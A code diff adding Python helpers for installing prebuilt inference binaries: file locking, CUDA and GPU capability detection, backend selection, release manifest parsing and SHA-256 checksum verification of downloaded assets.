+    if FileLock is None:
+        # Fallback lock: exclusive file creation, writing our PID so stale locks
+        # from crashed processes can be detected.
+        fd: int | None = None
+        deadline = time.monotonic() + INSTALL_LOCK_TIMEOUT_SECONDS
+        while True:
+            try:
+                fd = os.open(str(lock_path), os.O_CREAT | os.O_EXCL | os.O_RDWR)
+                try:
+                    os.write(fd, f"{os.getpid()}\n".encode())
+                    os.fsync(fd)
+                except Exception:
+                    os.close(fd)
+                    fd = None
+                    lock_path.unlink(missing_ok = True)
+                    raise
+                break
+            except FileExistsError:
+                stale = False
+                try:
+                    raw = lock_path.read_text().strip()
+                except FileNotFoundError:
+                    # Lock vanished between our open and read -- retry
+                    continue
+                if not raw:
+                    # Exists but PID not yet written; wait for the write to land.
+                    if time.monotonic() >= deadline:
+                        raise BusyInstallConflict(
+                            f"timed out after {INSTALL_LOCK_TIMEOUT_SECONDS}s waiting for concurrent install lock: {lock_path}"
+                        )
+                    time.sleep(0.1)
+                    continue
+                try:
+                    holder_pid = int(raw)
+                    os.kill(holder_pid, 0)  # signal 0 = existence check
+                except ValueError:
+                    stale = True  # PID unreadable (corrupted file)
+                except ProcessLookupError:
+                    stale = True  # holder is dead
+                except PermissionError:
+                    pass  # alive but owned by another user -- not stale
+                if stale:
+                    lock_path.unlink(missing_ok = True)
+                    continue
+                if time.monotonic() >= deadline:
+                    raise BusyInstallConflict(
+                        f"timed out after {INSTALL_LOCK_TIMEOUT_SECONDS}s waiting for concurrent install lock: {lock_path}"
+                    )
+                time.sleep(0.5)
+        try:
+            yield
+        finally:
+            if fd is not None:
+                os.close(fd)
+            lock_path.unlink(missing_ok = True)
+        return
+
+    try:
+        with FileLock(lock_path, timeout = INSTALL_LOCK_TIMEOUT_SECONDS):
+            yield
+    except FileLockTimeout as exc:
+        raise BusyInstallConflict(
+            f"timed out after {INSTALL_LOCK_TIMEOUT_SECONDS}s waiting for concurrent install lock: {lock_path}"
+        ) from exc
+
+
+def install_lock_path(install_dir: Path) -> Path:
+    return install_dir.parent / f".{install_dir.name}.install.lock"
+
+
+# ── macOS version parsing ──
+def parse_macos_version(value: str | None) -> tuple[int, int] | None:
+    """Parse a macOS product version into (major, minor).
+
+    Handles "14.7.1", "15.5", "26.0", bare "26". None when empty/unparseable
+    (callers then defer to runtime validation rather than reject every prebuilt)."""
+    if not value:
+        return None
+    match = re.match(r"\s*(\d+)(?:\.(\d+))?", str(value))
+    if not match:
+        return None
+    return int(match.group(1)), int(match.group(2) or 0)
+
+
+# ── GPU and CUDA runtime-line selection primitives ──
+def normalize_compute_cap(value: Any) -> str | None:
+    raw = str(value).strip()
+    if not raw:
+        return None
+    if "." in raw:
+        parts = raw.split(".", 1)
+        if len(parts) != 2:
+            return None
+        major, minor = parts
+        if not major.isdigit() or not minor.isdigit():
+            return None
+        return f"{int(major)}{int(minor)}"
+    if raw.isdigit():
+        return str(int(raw))
+    return None
+
+
+def normalize_compute_caps(compute_caps: Iterable[str]) -> list[str]:
+    normalized: list[str] = []
+    seen: set[str] = set()
+    for raw in compute_caps:
+        normalized_value = normalize_compute_cap(raw)
+        if normalized_value is None:
+            continue
+        if normalized_value in seen:
+            continue
+        seen.add(normalized_value)
+        normalized.append(normalized_value)
+    normalized.sort(key = int)
+    return normalized
+
+
+def parse_cuda_visible_devices(value: str | None) -> list[str] | None:
+    if value is None:
+        return None
+    raw = value.strip()
+    if not raw or raw == "-1":
+        return []
+    return [token.strip() for token in raw.split(",") if token.strip()]
+
+
+def supports_explicit_visible_device_matching(visible_devices: list[str] | None) -> bool:
+    if not visible_devices:
+        return False
+    for token in visible_devices:
+        lowered = token.lower()
+        if token.isdigit() or lowered.startswith("gpu-"):
+            continue
+        return False
+    return True
+
+
+def select_visible_gpu_rows(
+    gpu_rows: Iterable[tuple[str, str, str]], visible_devices: list[str] | None
+) -> list[tuple[str, str, str]]:
+    rows = list(gpu_rows)
+    if visible_devices is None:
+        return rows
+    if not visible_devices:
+        return []
+
+    by_index = {index: (index, uuid, cap) for index, uuid, cap in rows}
+    by_uuid = {uuid.lower(): (index, uuid, cap) for index, uuid, cap in rows}
+    selected: list[tuple[str, str, str]] = []
+    seen_indices: set[str] = set()
+    for token in visible_devices:
+        row = by_index.get(token)
+        if row is None:
+            normalized_token = token.lower()
+            row = by_uuid.get(normalized_token)
+            if row is None and normalized_token.startswith("gpu-"):
+                row = by_uuid.get(normalized_token)
+            if row is None and not normalized_token.startswith("gpu-"):
+                row = by_uuid.get("gpu-" + normalized_token)
+        if row is None:
+            continue
+        index = row[0]
+        if index in seen_indices:
+            continue
+        seen_indices.add(index)
+        selected.append(row)
+    return selected
+
+
+def dir_provides_exact_library(directory: str | Path, library: str) -> bool:
+    if not library:
+        return False
+    candidate = Path(directory) / library
+    return candidate.exists() and (candidate.is_file() or candidate.is_symlink())
+
+
+def linux_runtime_dirs_for_required_libraries(
+    ops: ModuleOps, required_libraries: Iterable[str]
+) -> list[str]:
+    required = [library for library in required_libraries if library]
+    candidates: list[str | Path] = []
+
+    env_dirs = os.environ.get("CUDA_RUNTIME_LIB_DIR", "")
+    if env_dirs:
+        candidates.extend(part for part in env_dirs.split(os.pathsep) if part)
+    ld_library_path = os.environ.get("LD_LIBRARY_PATH", "")
+    if ld_library_path:
+        candidates.extend(part for part in ld_library_path.split(os.pathsep) if part)
+
+    cuda_roots: list[Path] = []
+    for name in ("CUDA_HOME", "CUDA_PATH", "CUDA_ROOT"):
+        value = os.environ.get(name)
+        if value:
+            cuda_roots.append(Path(value))
+    cuda_roots.extend(Path(path) for path in ops.glob_paths("/usr/local/cuda", "/usr/local/cuda-*"))
+
+    for root in cuda_roots:
+        candidates.extend(
+            [
+                root / "lib",
+                root / "lib64",
+                root / "targets" / "x86_64-linux" / "lib",
+            ]
+        )
+
+    candidates.extend(
+        Path(path)
+        for path in ops.glob_paths(
+            "/lib",
+            "/lib64",
+            "/usr/lib",
+            "/usr/lib64",
+            "/usr/local/lib",
+            "/usr/local/lib64",
+            "/lib/x86_64-linux-gnu",
+            "/usr/lib/x86_64-linux-gnu",
+        )
+    )
+    candidates.extend(
+        Path(path) for path in ops.glob_paths("/usr/local/lib/ollama/cuda_v*", "/usr/lib/wsl/lib")
+    )
+    candidates.extend(Path(path) for path in ops.python_runtime_dirs())
+    candidates.extend(Path(path) for path in ops.ldconfig_runtime_dirs(required))
+
+    resolved = ops.dedupe_existing_dirs(candidates)
+    if not required:
+        return resolved
+
+    matched: list[tuple[int, str]] = []
+    for directory in resolved:
+        provided = sum(1 for library in required if dir_provides_exact_library(directory, library))
+        if provided:
+            matched.append((provided, directory))
+
+    matched.sort(key = lambda item: item[0], reverse = True)
+    return [directory for _, directory in matched]
+
+
+def detected_linux_runtime_lines(ops: ModuleOps) -> tuple[list[str], dict[str, list[str]]]:
+    """`cuda<major>` lines with a matching libcudart/libcublas file on disk (glob
+    match, so a versioned-only file counts), plus the dirs that matched."""
+    line_requirements = {
+        f"cuda{m}": [f"libcudart.so.{m}", f"libcublas.so.{m}"]
+        for m in range(_MAX_PROBE_CUDA_MAJOR, _MIN_CUDA_MAJOR - 1, -1)
+    }
+    detected: list[str] = []
+    runtime_dirs: dict[str, list[str]] = {}
+    for line, required in line_requirements.items():
+        dirs = ops.linux_runtime_dirs_for_required_libraries(required)
+        library_matches: dict[str, list[str]] = {}
+        matching_dirs: list[str] = []
+        for library in required:
+            matched_dirs = [
+                directory for directory in dirs if any(Path(directory).glob(f"{library}*"))
+            ]
+            if not matched_dirs:
+                library_matches = {}
+                matching_dirs = []
+                break
+            library_matches[library] = matched_dirs
+            for directory in matched_dirs:
+                if directory not in matching_dirs:
+                    matching_dirs.append(directory)
+        if library_matches:
+            detected.append(line)
+            runtime_dirs[line] = matching_dirs
+    return detected, runtime_dirs
+
+
+def windows_runtime_line_info() -> dict[str, tuple[str, ...]]:
+    # Generated per CUDA major (newest first) so a new toolkit is detected without
+    # a code change while the cudart64_<major>.dll naming holds.
+    return {
+        f"cuda{m}": (
+            f"cudart64_{m}*.dll",
+            f"cublas64_{m}*.dll",
+            f"cublasLt64_{m}*.dll",
+        )
+        for m in range(_MAX_PROBE_CUDA_MAJOR, _MIN_CUDA_MAJOR - 1, -1)
+    }
+
+
+def detected_windows_runtime_lines(ops: ModuleOps) -> tuple[list[str], dict[str, list[str]]]:
+    dirs = ops.windows_runtime_dirs()
+    detected: list[str] = []
+    runtime_dirs: dict[str, list[str]] = {}
+    for runtime_line, required_patterns in windows_runtime_line_info().items():
+        matching_dirs = ops.windows_runtime_dirs_for_patterns(required_patterns, dirs)
+        if matching_dirs:
+            detected.append(runtime_line)
+            runtime_dirs[runtime_line] = matching_dirs
+    return detected, runtime_dirs
+
+
+def compatible_linux_runtime_lines(host: Any) -> list[str]:
+    if not host.driver_cuda_version:
+        return []
+    major, _minor = host.driver_cuda_version
+    if major < _MIN_CUDA_MAJOR:
+        return []
+    return _cuda_runtime_lines_for_major(major)
+
+
+def runtime_line_from_cuda_version(cuda_version: str | None) -> str | None:
+    if not cuda_version:
+        return None
+    raw = str(cuda_version).strip()
+    if not raw:
+        return None
+    major, _, _ = raw.partition(".")
+    if major == "12":
+        return "cuda12"
+    if major == "13":
+        return "cuda13"
+    return None
+
+
+@dataclass
+class CudaRuntimePreference:
+    runtime_line: str | None
+    selection_log: list[str]
+
+
+def detect_torch_cuda_runtime_preference(host: Any) -> CudaRuntimePreference:
+    selection_log: list[str] = []
+    if host.is_macos:
+        selection_log.append("torch_cuda_preference: skipped on macOS")
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+    if not (host.has_usable_nvidia and (host.is_linux or host.is_windows)):
+        selection_log.append(
+            "torch_cuda_preference: skipped because CUDA host prerequisites were not met"
+        )
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+
+    try:
+        import torch
+    except Exception as exc:
+        selection_log.append(f"torch_cuda_preference: import failed: {exc}")
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+
+    cuda_version = getattr(getattr(torch, "version", None), "cuda", None)
+    if not isinstance(cuda_version, str) or not cuda_version.strip():
+        selection_log.append(
+            "torch_cuda_preference: torch.version.cuda missing; skipping Torch shortcut"
+        )
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+
+    try:
+        cuda_available = bool(torch.cuda.is_available())
+    except Exception as exc:
+        selection_log.append(f"torch_cuda_preference: torch.cuda.is_available() failed: {exc}")
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+
+    if not cuda_available:
+        selection_log.append(
+            "torch_cuda_preference: torch.cuda.is_available() returned False; falling back to normal selection"
+        )
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+
+    runtime_line = runtime_line_from_cuda_version(cuda_version)
+    if runtime_line is None:
+        selection_log.append(
+            f"torch_cuda_preference: unsupported torch.version.cuda={cuda_version}; falling back to normal selection"
+        )
+        return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
+
+    selection_log.append(
+        "torch_cuda_preference: selected runtime_line="
+        f"{runtime_line} from torch.version.cuda={cuda_version}"
+    )
+    return CudaRuntimePreference(runtime_line = runtime_line, selection_log = selection_log)
+
+
+def artifact_covers_sms(artifact: Any, host_sms: Iterable[str]) -> bool:
+    """True when every host SM is in the artifact's supported_sms and within its
+    [min_sm, max_sm] range."""
+    if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
+        return False
+    supported = {str(value) for value in artifact.supported_sms}
+    return all(sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms)
+
+
+def sm_range(artifact: Any) -> int:
+    """SM-coverage span as a sort key (tighter range wins). A bundle with no SM
+    metadata gets a max range so it sorts last, never outranking a targeted bundle."""
+    if artifact.min_sm is not None and artifact.max_sm is not None:
+        return artifact.max_sm - artifact.min_sm
+    return 9999
+
+
+def blackwell_capable_linux_runtime_lines(host_sms: list[str], artifacts: list[Any]) -> list[str]:
+    """CUDA runtime lines (highest major first) shipping a bundle covering every
+    visible host SM. Lets a Blackwell host prefer a native sm_120 line over torch's
+    reported line, mirroring the Windows Blackwell preference."""
+    lines: set[str] = set()
+    for artifact in artifacts:
+        line = artifact.runtime_line
+        # Only rank "cuda<major>" lines; skip malformed/future-format values
+        # (e.g. "cuda13.1") rather than crash the major sort.
+        if not (line and line.startswith("cuda") and line[len("cuda") :].isdigit()):
+            continue
+        if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
+            continue
+        supported = {str(value) for value in artifact.supported_sms}
+        if all(
+            sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms
+        ):
+            lines.add(line)
+    return sorted(lines, key = lambda line: int(line[len("cuda") :]), reverse = True)
+
+
+def host_is_blackwell(host: Any) -> bool:
+    caps = normalize_compute_caps(host.compute_caps)
+    return bool(caps) and int(caps[-1]) >= _BLACKWELL_MIN_SM
+
+
+def blackwell_min_toolkit_for_host(host: Any) -> tuple[int, int]:
+    """Minimum CUDA toolkit this Blackwell host needs: 12.8 for the family, 12.9
+    if any SM is sm_103/sm_121 (no native target before 12.9)."""
+    req = _BLACKWELL_MIN_TOOLKIT
+    for sm in normalize_compute_caps(host.compute_caps):
+        req = max(req, _BLACKWELL_SM_MIN_TOOLKIT.get(int(sm), _BLACKWELL_MIN_TOOLKIT))
+    return req
+
+
+# ════════════════════════════════════════════════════════════════════════════
+# Generic descriptor-driven install flow (whisper dialect: one release carries
+# a manifest of os/arch/backend artifacts plus a same-origin checksum index).
+# ════════════════════════════════════════════════════════════════════════════
+def host_platform_tokens(host: Any) -> tuple[str, str]:
+    """Default (os, arch) asset tokens; components with their own HostInfo field
+    names override this hook."""
+    return host.os_token, host.arch_token
+
+
+# ── Manifest parsing ──
+def parse_manifest(ops: ModuleOps, payload: Any, *, label: str) -> dict[str, Any]:
+    """Validate a component prebuilt manifest and return it normalized.
+
+    Rejects an unknown schema_version or wrong component. Returns keys:
+    schema_version, component, studio_protocol, upstream_tag, source_commit,
+    artifacts (list of dicts).
+    """
+    component = ops.COMPONENT
+    if not isinstance(payload, dict):
+        raise PrebuiltFallback(f"{label} was not a JSON object")
+    validate_schema_version(
+        payload, label = label, schema_version = ops.SCHEMA_VERSION, error = PrebuiltFallback
+    )
+    manifest_component = payload.get("component")
+    if manifest_component != component:
+        raise PrebuiltFallback(
+            f"{label} describes component {manifest_component!r}, expected {component!r}"
+        )
+
+    artifacts_raw = payload.get("artifacts")
+    if not isinstance(artifacts_raw, list):
+        raise PrebuiltFallback(f"{label} omitted an 'artifacts' list")
+    artifacts: list[dict[str, Any]] = []
+    for index, raw in enumerate(artifacts_raw):
+        if not isinstance(raw, dict):
+            ops.log(f"{label} artifact[{index}] ignored: not an object")
+            continue
+        asset = raw.get("asset")
+        if not isinstance(asset, str) or not asset:
+            ops.log(f"{label} artifact[{index}] ignored: missing asset name")
+            continue
+        artifacts.append(raw)
+
+    studio_protocol = payload.get("studio_protocol")
+    return {
+        "schema_version": ops.SCHEMA_VERSION,
+        "component": component,
+        "studio_protocol": studio_protocol if isinstance(studio_protocol, str) else None,
+        "upstream_tag": payload.get("upstream_tag")
+        if isinstance(payload.get("upstream_tag"), str)
+        else None,
+        "source_commit": payload.get("source_commit")
+        if isinstance(payload.get("source_commit"), str)
+        else None,
+        "artifacts": artifacts,
+    }
+
+
+def macos_min_os_ok(ops: ModuleOps, host: Any, min_os: Any) -> bool:
+    """True if a macOS artifact requiring `min_os` can load here. The manifest
+    labels it `macos-<version>` (e.g. `macos-14.0`); strip that prefix before
+    parsing or every entry parses as None and the guard no-ops. Unknown host or
+    min_os -> True (defer to runtime validation)."""
+    if not isinstance(min_os, str) or not min_os.strip():
+        return True
+    raw = min_os.strip()
+    if raw.lower().startswith("macos-"):
+        raw = raw[len("macos-") :]
+    required = ops.parse_macos_version(raw)
+    if required is None or host.macos_version is None:
+        return True
+    return host.macos_version >= required
+
+
+def artifacts_for_host(
+    ops: ModuleOps, manifest: dict[str, Any], host: Any, backend: str
+) -> list[dict[str, Any]]:
+    """Manifest artifacts matching this host os/arch/backend. On macOS, drop any
+    whose `min_os` exceeds the host version."""
+    os_token, arch_token = ops.host_platform_tokens(host)
+    return [
+        artifact
+        for artifact in manifest.get("artifacts", [])
+        if artifact.get("os") == os_token
+        and artifact.get("arch") == arch_token
+        and artifact.get("backend") == backend
+        and (not host.is_macos or ops.macos_min_os_ok(host, artifact.get("min_os")))
+    ]
+
+
+def select_artifact(
+    ops: ModuleOps, manifest: dict[str, Any], host: Any, backend: str
+) -> dict[str, Any] | None:
+    """First manifest artifact matching this host os/arch and backend, or None
+    (caller then applies the component's fallback policy). No accelerator
+    capability matching here: whisper bundles are slim per os/arch (the paired
+    llama.cpp installer already picked SM/gfx-appropriate ggml backends), and
+    llama keeps its own selection chain in install_llama_prebuilt.py."""
+    candidates = ops.artifacts_for_host(manifest, host, backend)
+    return candidates[0] if candidates else None
+
+
+def select_artifact_with_fallback(
+    ops: ModuleOps, manifest: dict[str, Any], host: Any, backend: str
+) -> tuple[dict[str, Any], str, bool]:
+    """Select the backend artifact, else the descriptor's fallback-backend
+    artifact of the same release (whisper: CPU; llama: none, so a GPU miss
+    surfaces as "no prebuilt" and the caller does a source build).
+
+    Returns (artifact, effective_backend, used_fallback). Raises PrebuiltFallback
+    when neither the requested backend nor the fallback has an asset."""
+    os_token, arch_token = ops.host_platform_tokens(host)
+    artifact = ops.select_artifact(manifest, host, backend)
+    if artifact is not None:
+        return artifact, backend, False
+    fallback_backend = ops.FALLBACK_BACKEND
+    if fallback_backend and backend != fallback_backend:
+        fallback_artifact = ops.select_artifact(manifest, host, fallback_backend)
+        if fallback_artifact is not None:
+            ops.log(
+                f"no '{backend}' asset for {os_token}-{arch_token}; "
+                f"falling back to the {fallback_backend.upper()} asset of the same release"
+            )
+            return fallback_artifact, fallback_backend, True
+    raise PrebuiltFallback(
+        f"no {ops.COMPONENT} prebuilt asset for {os_token}-{arch_token} (backend '{backend}')"
+    )
+
+
+def artifact_coverage(artifact: dict[str, Any]) -> dict[str, Any]:
+    """The sm/gfx/min_os coverage recorded for an artifact (marker/fingerprint)."""
+    coverage: dict[str, Any] = {}
+    for key in ("sm_coverage", "gfx_coverage", "min_os", "sm", "gfx"):
+        if key in artifact and artifact.get(key) is not None:
+            coverage[key] = artifact.get(key)
+    return coverage
+
+
+# ── Backend resolution ──
+def auto_detect_backend(ops: ModuleOps, host: Any) -> str:
+    """Host-preferred backend: Apple Silicon -> metal, usable NVIDIA -> cuda,
+    AMD gfx -> rocm, otherwise cpu."""
+    if host.is_apple_silicon:
+        return "metal"
+    if host.has_usable_nvidia:
+        return "cuda"
+    if host.has_rocm:
+        return "rocm"
+    return "cpu"
+
+
+def resolve_backend(ops: ModuleOps, host: Any, requested: str | None, *, cpu_fallback: bool) -> str:
+    """Resolve the effective backend from --backend / --cpu-fallback and detection."""
+    if cpu_fallback:
+        return "cpu"
+    value = (requested or "auto").strip().lower()
+    if value in {"", "auto"}:
+        return ops.auto_detect_backend(host)
+    if value in ops.SUPPORTED_BACKENDS:
+        return value
+    raise PrebuiltFallback(
+        f"unsupported --backend '{requested}'; choose from auto,{','.join(ops.SUPPORTED_BACKENDS)}"
+    )
+
+
+# ── Release checksum index (trust anchor: the release's own sha256 asset) ──
+def valid_sha256(value: Any) -> str | None:
+    if not isinstance(value, str):
+        return None
+    digest = value.strip().lower()
+    if digest.startswith("sha256:"):
+        digest = digest[len("sha256:") :]
+    if len(digest) == 64 and all(c in "0123456789abcdef" for c in digest):
+        return digest
+    return None
+
+
+def parse_release_checksums(
+    ops: ModuleOps, repo: str, release_tag: str, payload: Any
+) -> dict[str, str]:
+    """Asset name -> sha256 from a release's checksum-index asset.
+
+    That index is the authority for each asset's sha256. It is validated for
+    schema/component and that its ``release_tag`` matches the resolved release,
+    so a redirected or mismatched index is rejected; malformed fails closed."""
+    label = f"{ops.SHA256_ASSET_NAME} in {repo}@{release_tag}"
+    if not isinstance(payload, dict):
+        raise PrebuiltFallback(f"{label} was not a JSON object")
+    if payload.get("schema_version") != ops.SCHEMA_VERSION:
+        raise PrebuiltFallback(f"{label} has an unexpected schema_version")
+    if payload.get("component") != ops.COMPONENT:
+        raise PrebuiltFallback(f"{label} did not describe {ops.COMPONENT}")
+    payload_tag = payload.get("release_tag")
+    if not isinstance(payload_tag, str) or not payload_tag:
+        raise PrebuiltFallback(f"{label} omitted release_tag")
+    if payload_tag != release_tag:
+        raise PrebuiltFallback(
+            f"{label} release_tag={payload_tag} did not match the resolved release {release_tag}"
+        )
+    artifacts = payload.get("artifacts")
+    if not isinstance(artifacts, dict):
+        raise PrebuiltFallback(f"{label} omitted an 'artifacts' map")
+    checksums: dict[str, str] = {}
+    for asset_name, entry in artifacts.items():
+        if not isinstance(asset_name, str) or not asset_name or not isinstance(entry, dict):
+            continue
+        digest = valid_sha256(entry.get("sha256"))
+        if digest is not None:
+            checksums[asset_name] = digest
+    if not checksums:
+        raise PrebuiltFallback(f"{label} carried no usable sha256 entries")
+    return checksums
+
+
+def fetch_release_checksums(ops: ModuleOps, bundle: "ReleaseBundle") -> dict[str, str]:
+    """Download + parse the release's checksum-index asset; fails closed if the
+    release does not publish it."""
+    sha_asset = ops.SHA256_ASSET_NAME
+    url = bundle.asset_urls.get(sha_asset)
+    if not url:
+        raise PrebuiltFallback(
+            f"release {bundle.repo}@{bundle.release_tag} has no {sha_asset}; "
+            f"cannot verify a download"
+        )
+    try:
+        raw = ops.download_bytes(url, timeout = 30, headers = ops.auth_headers(url))
+        payload = json.loads(raw.decode("utf-8"))
+    except (urllib.error.URLError, OSError, socket.timeout) as exc:
+        raise PrebuiltFallback(
+            f"could not fetch {sha_asset} from {bundle.repo}@{bundle.release_tag}: {exc}"
+        ) from exc
+    except (UnicodeDecodeError, json.JSONDecodeError) as exc:
+        raise PrebuiltFallback(
+            f"{sha_asset} in {bundle.repo}@{bundle.release_tag} was not valid JSON"
+        ) from exc
+    return ops.parse_release_checksums(bundle.repo, bundle.release_tag, payload)
+
+
+def expected_sha256_for(
+    ops: ModuleOps,
+    checksums: dict[str, str],
+    asset_name: str,
+    *,
+    manifest_sha256: str | None = None,
+) -> str:
+    """The sha256 the archive must match, from the release checksum-index entry.
+    An asset absent from the index fails closed. Any sha256 the manifest embeds
+    for the asset must agree with the index (a mismatch means a tampered manifest)."""
+    digest = checksums.get(asset_name)
+    if digest is None:
+        raise PrebuiltFallback(
+            f"{asset_name} is not covered by {ops.SHA256_ASSET_NAME}; "
+            f"refusing an unverifiable download"
+        )
+    embedded = valid_sha256(manifest_sha256)
+    if embedded is not None and embedded != digest:
+        raise PrebuiltFallback(
+            f"manifest sha256 for {asset_name} disagrees with {ops.SHA256_ASSET_NAME}; "
+            f"refusing a possibly tampered release"
+        )
+    ops.log(f"verifying {asset_name} against {ops.SHA256_ASSET_NAME} sha256={digest}")
+    return digest
+
+
+# ── Release resolution ──
+@dataclass
+class ReleaseBundle:
+    repo: str
+    release_tag: str
+    manifest: dict[str, Any]
+    asset_urls: dict[str, str]
+
+
+def fetch_release_bundle(ops: ModuleOps, repo: str, release_tag: str) -> ReleaseBundle:
+    """Fetch a fork release, download+validate its manifest, return the bundle.
+
+    The single network seam for API-path release resolution; tests inject a fake
+    to exercise selection/install offline. A missing or unreachable release (404,
+    rate limit, no network) surfaces as PrebuiltFallback so the caller does a
+    source build rather than error out.
+    """
+    manifest_asset = ops.MANIFEST_ASSET_NAME
+    try:
+        release = ops.github_release(repo, release_tag)
+    except PrebuiltFallback:
+        raise
+    except (urllib.error.URLError, OSError, socket.timeout) as exc:
+        raise PrebuiltFallback(f"could not fetch release {repo}@{release_tag}: {exc}") from exc
+    resolved_tag = release.get("tag_name")
+    resolved_tag = resolved_tag if isinstance(resolved_tag, str) and resolved_tag else release_tag
+    asset_urls = ops.release_asset_map(release)
+    manifest_url = asset_urls.get(manifest_asset)
+    if not manifest_url:
+        raise PrebuiltFallback(
+            f"release {repo}@{resolved_tag} has no {manifest_asset}; cannot select a prebuilt"
+        )
+    try:
+        manifest_bytes = ops.download_bytes(
+            manifest_url, timeout = 30, headers = ops.auth_headers(manifest_url)
+        )
+    except (urllib.error.URLError, OSError, socket.timeout) as exc:
+        raise PrebuiltFallback(
+            f"could not fetch {manifest_asset} from {repo}@{resolved_tag}: {exc}"
+        ) from exc
+    try:
+        manifest_payload = json.loads(manifest_bytes.decode("utf-8"))
+    except (UnicodeDecodeError, json.JSONDecodeError) as exc:
+        raise PrebuiltFallback(
+            f"{manifest_asset} in {repo}@{resolved_tag} was not valid JSON"
+        ) from exc
+    manifest = ops.parse_manifest(
+        manifest_payload, label = f"{manifest_asset} in {repo}@{resolved_tag}"
+    )
+    return ReleaseBundle(
+        repo = repo, release_tag = resolved_tag, manifest = manifest, asset_urls = asset_urls
+    )
+
+
+def asset_download_url(ops: ModuleOps, bundle: ReleaseBundle, asset_name: str) -> str:
+    url = bundle.asset_urls.get(asset_name)
+    if url:
+        return url
+    # A manifest can list an asset the release JSON omitted; fall back to the
+    # deterministic release-download URL.
+    return ops.release_asset_download_url(bundle.repo, bundle.release_tag, asset_name)
+
+
+def resolve_newest_release_tag(ops: ModuleOps, repo: str) -> str:
+    """Newest published (non-draft/non-prerelease) release tag for `repo` by
+    ``published_at`` -- what the freshness checks use, NOT GitHub's
+    ``/releases/latest`` pointer (sorts by commit date, can lag the newest build)."""
+    payload = ops.fetch_json(f"https://api.github.com/repos/{repo}/releases?per_page=30")
+    if not isinstance(payload, list):
+        raise PrebuiltFallback(f"unexpected releases payload for {repo}")
+    published = [
+        r
+        for r in payload
+        if isinstance(r, dict)
+        and not r.get("draft")
+        and not r.get("prerelease")
+        and isinstance(r.get("tag_name"), str)
+        and r.get("tag_name")
+    ]
+    if not published:
+        raise PrebuiltFallback(f"{repo} has no published prebuilt release yet")
+    newest = max(published, key = lambda r: r.get("published_at") or "")
+    return newest["tag_name"]
+
+
+def resolve_release_tag(
+    ops: ModuleOps, published_repo: str, *, published_release_tag: str | None
+) -> str:
+    """The release tag to install: an explicit override, else the newest
+    published release resolved at runtime."""
+    override = (published_release_tag or "").strip()
+    if override:
+        return override
+    return ops.resolve_newest_release_tag(published_repo)
+
+
+def resolve_release_via_download_host(
+    ops: ModuleOps, repo: str, published_release_tag: str | None
+) -> tuple[ReleaseBundle, dict[str, str]] | None:
+    """Resolve the release + manifest + checksum index entirely from the download
+    host, with zero api.github.com calls. None (caller falls back to the API) on a
+    missing/renamed asset, a 404, or a tag mismatch. Fetches the checksum index
+    first (an in-progress release can publish it before the manifest)."""
+    manifest_asset = ops.MANIFEST_ASSET_NAME
+    sha_asset = ops.SHA256_ASSET_NAME
+    release_tag = (published_release_tag or "").strip() or ops._download_host_latest_release_tag(
+        repo
+    )
+    if not release_tag:
+        return None
+    sha_url = ops.release_asset_download_url(repo, release_tag, sha_asset)
+    try:
+        sha_payload = ops._download_host_json(sha_url)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None
+        raise
+    except (
+        urllib.error.URLError,
+        OSError,
+        socket.timeout,
+        UnicodeDecodeError,
+        json.JSONDecodeError,
+    ):
+        return None
+    try:
+        checksums = ops.parse_release_checksums(repo, release_tag, sha_payload)
+    except PrebuiltFallback:
+        return None  # schema/component/tag mismatch -> let the API path decide
+    manifest_url = ops.release_asset_download_url(repo, release_tag, manifest_asset)
+    try:
+        manifest_payload = ops._download_host_json(manifest_url)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None
+        raise
+    except (
+        urllib.error.URLError,
+        OSError,
+        socket.timeout,
+        UnicodeDecodeError,
+        json.JSONDecodeError,
+    ):
+        return None
+    try:
+        manifest = ops.parse_manifest(
+            manifest_payload, label = f"{manifest_asset} in {repo}@{release_tag}"
+        )
+    except PrebuiltFallback:
+        return None
+    # Tag-pinned CDN URLs for every asset the install may fetch (asset_download_url
+    # reconstructs any missing one), keeping this a pure download-host path.
+    names = {
+        str(a.get("asset"))
+        for a in manifest.get("artifacts", [])
+        if isinstance(a, dict) and a.get("asset")
+    }
+    names |= {manifest_asset, sha_asset}
+    asset_urls = {name: ops.release_asset_download_url(repo, release_tag, name) for name in names}
+    bundle = ReleaseBundle(
+        repo = repo, release_tag = release_tag, manifest = manifest, asset_urls = asset_urls
+    )
+    return bundle, checksums
+
+
+def fetch_release_for_install(
+    ops: ModuleOps, repo: str, *, published_release_tag: str | None
+) -> tuple[ReleaseBundle, dict[str, str]]:
+    """Resolve the release + manifest + checksum index, preferring the download
+    host (no api.github.com rate limit) and falling back to the GitHub API. The
+    single network seam the install/probe paths use."""
+    fast = ops._resolve_release_via_download_host(repo, published_release_tag)
+    if fast is not None:
+        bundle, checksums = fast
+        ops.log(f"resolved {repo}@{bundle.release_tag} via the download host (no GitHub API)")
+        return bundle, checksums
+    release_tag = ops.resolve_release_tag(repo, published_release_tag = published_release_tag)
+    bundle = ops.fetch_release_bundle(repo, release_tag)
+    checksums = ops.fetch_release_checksums(bundle)
+    return bundle, checksums
+
+
+# ── Marker and fingerprint ──
+def compute_install_fingerprint(
+    *,
+    published_repo: str,
+    release_tag: str,
+    upstream_tag: str | None,
+    source_commit: str | None,
+    asset: str,
+    asset_sha256: str,
+    backend: str,
+    runtime_line: str | None,
+    coverage: dict[str, Any],
+) -> str:
+    payload = {
+        "published_repo": published_repo,
+        "release_tag": release_tag,
+        "upstream_tag": upstream_tag,
+        "source_commit": source_commit,
+        "asset": asset,
+        "asset_sha256": asset_sha256,
+        "backend": backend,
+        "runtime_line": runtime_line,
+        "coverage": coverage,
+    }
+    return hashlib.sha256(
+        json.dumps(payload, sort_keys = True, separators = (",", ":")).encode("utf-8")
+    ).hexdigest()
+
+
